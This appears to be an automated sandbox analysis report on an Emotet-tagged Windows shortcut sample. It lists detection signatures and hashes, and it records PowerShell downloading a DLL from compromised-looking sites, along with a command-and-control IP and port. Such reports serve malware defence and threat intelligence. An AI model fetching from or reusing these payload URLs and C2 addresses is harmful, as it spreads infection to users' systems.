Windows Analysis Report
Rechnungskorrektur 2022.20.05_1305.lnk

Overview

General Information

Sample Name: Rechnungskorrektur 2022.20.05_1305.lnk
Analysis ID: 632058
MD5: 9bb223b115ec73b8419e37ce00051da9
SHA1: fe98ee24f390ba1778742f32ad4b22220aaa31ff
SHA256: 66cdacf636ffc45e84ff842fe9c6c217641af99f0e41729b2a3ee8488763ea81
Tags: lnk
Infos:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Changes security center settings (notifications, updates, antivirus, firewall)
Suspicious powershell command line found
Machine Learning detection for sample
Suspicious command line found
Powershell drops PE file
Obfuscated command line found
Machine Learning detection for dropped file
Yara detected Obfuscated Powershell
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Found evasive API chain (may stop execution after checking a module file name)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
AV process strings found (often used to terminate AV products)
PE file contains an invalid checksum
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Detected TCP or UDP traffic on non-standard ports
Registers a DLL
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Rechnungskorrektur 2022.20.05_1305.lnk ReversingLabs: Detection: 39%
Antivirus detection for URL or domain
Source: https://173.82.82.196:8080/t Avira URL Cloud: Label: malware
Source: http://mandom.co.id/assets/TpIIt7SmNBsWCECLoHrS/ Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/tem Avira URL Cloud: Label: malware
Source: http://pacemaker.cd/images/Xc/ Avira URL Cloud: Label: phishing
Source: https://173.82.82.196/ URL Reputation: Label: malware
Source: https://173.82.82.196:8080/ URL Reputation: Label: malware
Source: http://masidiomas.com/D4WStats/GAhmgvhLgUn6/ Avira URL Cloud: Label: malware
Source: https://bpsjambi.id/about/VPe69A9Tk/ Avira URL Cloud: Label: malware
Source: http://marmaris.com.br/wp-admin/2cfpSuAH/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\JydgVvbPD\MevgMvopaw.BUS ReversingLabs: Detection: 58%
Source: C:\Windows\System32\UjKMhzOwg\JWwyPPSZDhCDc.dll (copy) ReversingLabs: Detection: 58%
Machine Learning detection for sample
Source: Rechnungskorrektur 2022.20.05_1305.lnk Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\JydgVvbPD\MevgMvopaw.BUS Joe Sandbox ML: detected
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose, 9_2_00000001800248B0

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 173.82.82.196 8080 Jump to behavior
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: MULTA-ASN1US MULTA-ASN1US
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 173.82.82.196 173.82.82.196
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 23 May 2022 06:57:52 GMTContent-Type: application/x-msdownloadContent-Length: 365056Connection: keep-aliveX-Powered-By: PHP/7.1.33Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 06:57:52 GMTContent-Disposition: attachment; filename="yp1jibJUDxA8rrRg9xQmhd9iHCWQ.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b30701384e=1653289072; expires=Mon, 23-May-2022 06:58:52 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 06:57:52 GMTX-Cache-Status: MISSX-Powered-By: PleskLinData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ik
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /assets/TpIIt7SmNBsWCECLoHrS/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: mandom.co.idConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49772 -> 173.82.82.196:8080
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: svchost.exe, 0000001A.00000003.512271801.000002B983F74000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001A.00000003.512271801.000002B983F74000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001A.00000003.512271801.000002B983F74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.512292421.000002B983F85000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-05-13T10:00:01.2192622Z||.||8adb3f26-c14b-4fc0-afb3-91b3c6daaa3f||1152921505694830749||Null||fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000001A.00000003.512271801.000002B983F74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.512292421.000002B983F85000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-05-13T10:00:01.2192622Z||.||8adb3f26-c14b-4fc0-afb3-91b3c6daaa3f||1152921505694830749||Null||fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: powershell.exe, 00000002.00000002.302120450.00000166F7BE0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.526984959.0000000000886000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.528849751.000002E1BD862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.527892200.000002B983F00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000002.00000002.302723143.00000166F7EB0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microso
Source: svchost.exe, 00000010.00000002.528849751.000002E1BD862000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: regsvr32.exe, 00000009.00000002.526788153.0000000000830000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000009.00000003.363631945.0000000002961000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.363832246.00000000029C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.527556670.00000000029C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.363699688.00000000029A2000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.9.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000009.00000003.363070346.00000000029D4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.363141507.00000000029DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?89cd6d0e97a58
Source: regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabp
Source: regsvr32.exe, 00000009.00000002.526890545.0000000000863000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?89cd6d0e97
Source: powershell.exe, 00000002.00000002.298293260.00000166E07FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mandom.co
Source: powershell.exe, 00000002.00000002.298089858.00000166E07D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.298208653.00000166E07F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mandom.co.id
Source: powershell.exe, 00000002.00000002.298293260.00000166E07FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mandom.co.id/
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mandom.co.id/assets/TpIIt7SmNBsWCECLoHrS/
Source: powershell.exe, 00000002.00000002.298089858.00000166E07D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mandom.co.idx
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://marmaris.com.br/wp-admin/2cfpSuAH/
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://masidiomas.com/D4WStats/GAhmgvhLgUn6/
Source: powershell.exe, 00000002.00000002.301101086.00000166EFC41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pacemaker.cd/images/Xc/
Source: powershell.exe, 00000002.00000002.294144175.00000166DFDF1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.293436051.00000166DFBE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.294144175.00000166DFDF1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 0000000B.00000002.327213021.000001FF4B213000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bingmapsportal.com
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://yamada-shoshi.main.jp/yamada-shoshi/V61hH/
Source: svchost.exe, 00000008.00000002.526791270.0000020E43244000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000008.00000002.526791270.0000020E43244000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://%s.xboxlive.com
Source: regsvr32.exe, 00000009.00000002.526839029.000000000084B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.526658997.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://173.82.82.196/
Source: regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.526839029.000000000084B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.526658997.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://173.82.82.196:8080/t
Source: regsvr32.exe, 00000009.00000002.526688728.000000000080C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://173.82.82.196:8080/tem
Source: svchost.exe, 00000008.00000002.526791270.0000020E43244000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000008.00000002.526791270.0000020E43244000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: powershell.exe, 00000002.00000002.298827087.00000166E08B6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bpsjambi.id/about/VPe69A9Tk/
Source: svchost.exe, 00000008.00000002.526791270.0000020E43244000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: powershell.exe, 00000002.00000002.301101086.00000166EFC41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.301101086.00000166EFC41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.301101086.00000166EFC41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.327253252.000001FF4B23C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000B.00000003.326297675.000001FF4B267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327411940.000001FF4B26A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000003.326501558.000001FF4B246000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327266562.000001FF4B24D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
